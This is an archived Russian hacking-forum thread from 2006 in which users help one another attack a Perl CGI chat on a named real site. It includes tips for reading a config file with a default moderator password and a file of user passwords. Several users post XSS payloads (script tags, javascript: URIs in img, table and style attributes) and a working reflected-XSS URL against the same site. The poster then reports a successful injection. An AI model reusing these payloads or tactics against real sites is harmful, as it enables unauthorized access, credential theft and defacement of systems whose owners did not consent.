PDA

Просмотр полной версии : RALF'S chat

CinerX
14.02.2006, 23:50
Есть ли что - то на этот чат?
TTyck
15.02.2006, 00:57
Как-то стремно их ломать даже.. примитив, одно слово.
CinerX
15.02.2006, 02:47
еслиб умел, то не обращался бы за помощью =(
¤ ¤ ¤Эльф¤ ¤ ¤
15.02.2006, 11:35
Да чат допотопный, написан на Perl, требует только поддержку cgi.
Попробывать сломать можно тоже достаточно приметивно, если криво настроены привелегии, то можно прочитать config.pm, находящийся в .../cgi-bin/config.pm там есть пароль модерский установленный по деффаулту, если ентот пароль могут проссматривать обычные юзвери, то считай что все права мордераторв - Твои!
А в .../cgi-bin/data/nicks находятьси nicknamы зарегенных юзверей, и их пароли.
CinerX
15.02.2006, 23:37
.../cgi-bin/config.pm - выдает эррор(нет такой страницы)
.../cgi-bin/data/nicks - прова все таки те выставлены =(

Может еще что-то есть? Ну там XSS... ?
Meister
15.02.2006, 23:42
А как такой чат выглядит что б знать хоть?
CinerX
16.02.2006, 00:14
http://dreamnet.ru/cgi-bin/rchat/
DRON-ANARCHY
16.02.2006, 00:53
Forbidden
You don't have permission to access /cgi-bin/rchat/ on this server.

надо писать так

http://dreamnet.ru/cgi-bin/rchat/chat.cgi
CinerX
17.02.2006, 03:04
помагите разорвать теги...

<OPTION VALUE="# ><a href=javascript:alert()>qqqqq
после этого скрипт чата дописывает в конец ">, если убрать # то чат сам автоматом опять ее вставит =(
vectorg
17.02.2006, 03:35
попробуй так:
"><script>alert()</script>
если не прокатит, попробуй в начало добавить чтонибудь:
blabla"><script>alert()</script>
либо так ещё можно:
"><img src=javascript:alert()>
"><table background=javascript:alert()>
CinerX
17.02.2006, 04:02
Так "> закрывает тег и получается, что все что после него он фильтрует =(
Tem
17.02.2006, 11:50
Я на самом сайте нашёл ХСС , может понадобится.

http://gametop.dreamnet.ru/search.php?words=%22%3E%3Cscript%3Ealert%28%2FTem% 2F%29%3C%2Fscript%3E
CinerX
17.02.2006, 20:17
Я на самом сайте нашёл ХСС , может понадобится.
Спасиб =) Сменя респ =)))
Tem
17.02.2006, 23:02
И незабывай про репу )))
CinerX
17.02.2006, 23:41
Все! Всем спасибо! Я уже разобрался!
Я форму отправки цвета сменил на <input text> и вбил там это:

"<a href=www. style='background:url(javascript:confirm(%22hDream cast 4 ever%22))'><img src=http://antichat.ru/cgi-bin/s.jpg><font color="blue

тему можно закрывать...